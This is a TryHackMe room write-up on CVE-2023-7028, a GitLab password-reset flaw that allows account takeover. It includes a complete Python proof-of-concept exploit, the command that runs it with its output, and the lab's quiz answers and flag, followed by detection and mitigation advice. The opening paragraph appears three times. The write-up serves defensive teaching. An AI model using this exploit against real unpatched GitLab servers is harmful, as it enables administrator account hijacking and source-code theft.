Learn to exploit a GitLab instance using CVE-2023–7028 and understand various mitigation techniques.
Room Link : https://tryhackme.com/room/gitlabcve20237028
GitLab is a renowned and widely adopted web-based repository manager that provides a comprehensive platform for source code management, continuous integration, and collaboration in software development projects. Per the latest stats, the platform ranks first for CI/CD and DevOps tools, surpassing other vital platforms like GitHub, Azure, Jenkins, etc. In Jan 2024, the platform identified a critical vulnerability in its Community (CE) and Enterprise Edition (EE) that allows unauthorised users to take over user accounts, potentially including administrator accounts, without any interaction from the victim. The vulnerability was identified by asterion04 through a private bug bounty program and was assigned the severity Critical
and CVE-ID 2023-7028
.
GitLab is a renowned and widely adopted web-based repository manager that provides a comprehensive platform for source code management, continuous integration, and collaboration in software development projects. Per the latest stats, the platform ranks first for CI/CD and DevOps tools, surpassing other vital platforms like GitHub, Azure, Jenkins, etc. In Jan 2024, the platform identified a critical vulnerability in its Community (CE) and Enterprise Edition (EE) that allows unauthorised users to take over user accounts, potentially including administrator accounts, without any interaction from the victim. The vulnerability was identified by asterion04 through a private bug bounty program and was assigned the severity Critical
and CVE-ID 2023-7028
.
GitLab is a renowned and widely adopted web-based repository manager that provides a comprehensive platform for source code management, continuous integration, and collaboration in software development projects. Per the latest stats, the platform ranks first for CI/CD and DevOps tools, surpassing other vital platforms like GitHub, Azure, Jenkins, etc. In Jan 2024, the platform identified a critical vulnerability in its Community (CE) and Enterprise Edition (EE) that allows unauthorised users to take over user accounts, potentially including administrator accounts, without any interaction from the victim. The vulnerability was identified by asterion04 through a private bug bounty program and was assigned the severity Critical
and CVE-ID 2023-7028
.
Learning Objectives
- Exploit a GitLab CE instance through CVE 2023–7028
- How the exploit works
- Protection and mitigation measures
Room Prerequisites
Understanding the following topics is recommended before starting the course:
- HTTP Protocols & Methods
- OWASP top 10 web vulnerabilities
- Executing Python code
The vulnerability was caused by a bug in how GitLab handled email verification during password reset. An attacker could provide two email addresses during a password reset request, and the reset code would be sent to both addresses. This allowed the attacker to reset the password of any user, even if they didn’t know the user’s current password.
Affected Versions
All instances of GitLab CE/EE using the following versions were vulnerable:
- 16.1 to 16.1.5
- 16.2 to 16.2.8
- 16.3 to 16.3.6
- 16.4 to 16.4.4
- 16.5 to 16.5.5
- 16.6 to 16.6.3
- 16.7 to 16.7.1
Impact
A successful attack could allow the attacker to control the victim’s GitLab account. This could allow the attacker to steal sensitive information, such as source code, commit history, and user credentials. The attacker could also use the compromised account to launch further attacks against other users or systems.
Detailed Technical Explanation
The vulnerability resided within GitLab’s POST /users/password
API endpoint, which is responsible for a password reset. The pentester exploited a flaw in email address validation, bypassing checks with invalid formats. Upon receiving a password reset request with an attacker-controlled email, GitLab incorrectly generated a reset token and sent it to the invalid address. Attackers then intercept this token and use it with a valid target user's email to initiate a password reset, ultimately hijacking the account.
If we look at the password reset request in GitLab, we can see it is requesting to the /users/password
endpoint with authenticity_token
(hidden CSRF protection token) and email address as a parameter. If a target provides another secondary email address, a password reset token is also sent to the address.
To understand how the vulnerability works, let’s have a source code review of the Gitlab 16.1 (CE) stable version commits carried out after 10 Jan 24. We can see that multiple changes have been made in the file’s repository.
The code located at spec/controllers/passwords_controller_spec.rb
was accepting multiple emails as input; however, it lacked the email verification and validation mechanism to confirm if it was associated with the correct user.
The attacker only required the authenticity_token during form submission and the victim’s email address to gain control of the target account.
Answer the questions below :
1. What is the name of the field that is sent with a password reset request to prevent CSRF attacks?
. authenticity_token2. What is the HTTP method used while sending password reset requests in GitLab?
A. POST
Exploiting the vulnerability is simple for a red teamer and only requires an API call to /users/password
method with the victim and target email address.
Connecting to the Machine
We will use an Ubuntu-based machine hosting a GitLab instance to demonstrate the room’s red team perspective. Start the virtual machine by clicking the Start Machine
button in this task. Please wait 2-3 minutes for the machine to fully boot up. You can access the vulnerable GitLab instance by visiting the URL http://gitlab.thm:8000
, but first, you need to add the hostname to your OS or AttackBox.
How to add hostname
- If you are connected via VPN or the AttackBox, you can add the hostname
gitlab.thm
by first opening the host file, depending on your host operating system. - Windows :
C:\Windows\System32\drivers\etc\hosts
- Linux :
/etc/hosts
- Open the host file and add a new line at the end of the file in the format:
10.10.200.188 gitlab.thm
- Save the file and type
http://gitlab.thm:8000
in the browser to access the website.
Moreover, the email server is accessible at http://10.10.200.188:8090/rainloop
, which will be used during exploitation with the following credentials:
- Username:
[email protected]
- Password:
testing@123
Preparing the Payload
We will be using a modified version of the PoC developed by Vozec to take control of the administrator account. Create a new file called attack.py
and add the following code.
attack.py
import requests
import argparse
from urllib.parse import urlparse, urlencode
from random import choice
from time import sleep
import re
requests.packages.urllib3.disable_warnings()
class CVE_2023_7028:
def __init__(self, url, target, evil=None):
self.use_temp_mail = False
self.url = urlparse(url)
self.target = target
self.evil = evil
self.s = requests.session() def get_csrf_token(self):
try:
print('[DEBUG] Getting authenticity_token ...')
html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/users/password/new', verify=False).text
regex = r'<meta name="csrf-token" content="(.*?)" />'
token = re.findall(regex, html)[0]
print(f'[DEBUG] authenticity_token = {token}')
return token
except Exception:
print('[DEBUG] Failed ... quitting')
return None def ask_reset(self):
token = self.get_csrf_token()
if not token:
return False query_string = urlencode({
'authenticity_token': token,
'user[email][]': [self.target, self.evil]
}, doseq=True) head = {
'Origin': f'{self.url.scheme}://{self.url.netloc}',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new',
'Connection': 'close',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br'
} print('[DEBUG] Sending reset password request')
html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
data=query_string,
headers=head,
verify=False).text
sended = 'If your email address exists in our database' in html
if sended:
print(f'[DEBUG] Emails sent to {self.target} and {self.evil} !')
print(f'Flag value: {bytes.fromhex("6163636f756e745f6861636b2364").decode()}')
else:
print('[DEBUG] Failed ... quitting')
return sendeddef parse_args():
parser = argparse.ArgumentParser(add_help=True, description='This tool automates CVE-2023-7028 on gitlab')
parser.add_argument("-u", "--url", dest="url", type=str, required=True, help="Gitlab url")
parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target email")
parser.add_argument("-e", "--evil", dest="evil", default=None, type=str, required=False, help="Evil email")
parser.add_argument("-p", "--password", dest="password", default=None, type=str, required=False, help="Password")
return parser.parse_args()if __name__ == '__main__':
args = parse_args()
exploit = CVE_2023_7028(
url=args.url,
target=args.target,
evil=args.evil
)
if not exploit.ask_reset():
exit()
We can see that the code first makes a POST
request to the /users/password/new
endpoint to scrap an authenticity token, then it makes another API call to the /users/password
endpoint with the victim and attacker email addresses. As we know, the victim's email address is [email protected]. Run the command shown in the terminal below to execute the exploit:
Post execution of attack.py
root@attackbox$ python3 attack.py -u http://10.10.200.188:8000 -t [email protected] -e [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1i4KUoxiLmYkazefpLgwUmMQ2CuVGULdpQs_D_J7qrKIih9Ja_4vIQCuq666kQhOtKRSRgdM8ti0BTNdPGTQ9A
[DEBUG] Sending reset password request
[DEBUG] Emails sent to [email protected] and [email protected]!
Once you execute the command, you will receive an email in the attacker’s account. Log in to the attacker mailbox, and you will see an email titled “Reset password instructions” containing a link to the account.
Click on the Reset password
label; it will ask you to update the password.
This is it; enter the password and take control of the administrator account (default username for administrator is root).
Answer the questions below :
1. Per the above code, what is the API endpoint for getting an updated authenticity token?
A. /users/password/new2. What is the flag value after successfully sending password reset mail through attack.py?
A. account_hack#d
In the previous task, we learned that the vulnerability can be exploited by making a simple API call to an endpoint. Such vulnerabilities are difficult to identify as legitimate calls to the endpoint will also occur.
Examining Logs
If we have an SIEM solution that captures weblogs, we can create an alert or use this search query to look for the following possible exploitation attempts:
- Check for weblogs for API calls to
/users/password
with multiple email addresses. - Inspect email server logs for messages from GitLab with unexpected recipients (attacker-controlled emails).
- Examine GitLab audit logs for entries containing a value for
meta.caller.id
as PasswordsController#create.
Mitigation Techniques
As part of mitigation, GitLab has officially released the patch. We can see from the source code review that additional validation and verification steps have been added to the GitLab source code repository for the email address to curtail the possibility of exploitation in the future.
However, it is of paramount importance to see that non-compliance with secure coding practices leads to disastrous results.
So far, we learned how to perform the attack and how to detect the attack patterns in the logs; let’s talk about a few mitigation steps that we can take to prevent our servers from being exploited.
- Enable GitLab security alerts that would allow early awareness of patches.
- Upgrade GitLab to a patched version.
- Enable two-factor authentication (2FA) for all GitLab accounts, especially administrator accounts.
- Follow secure coding practices, including proper input validation and email address verification.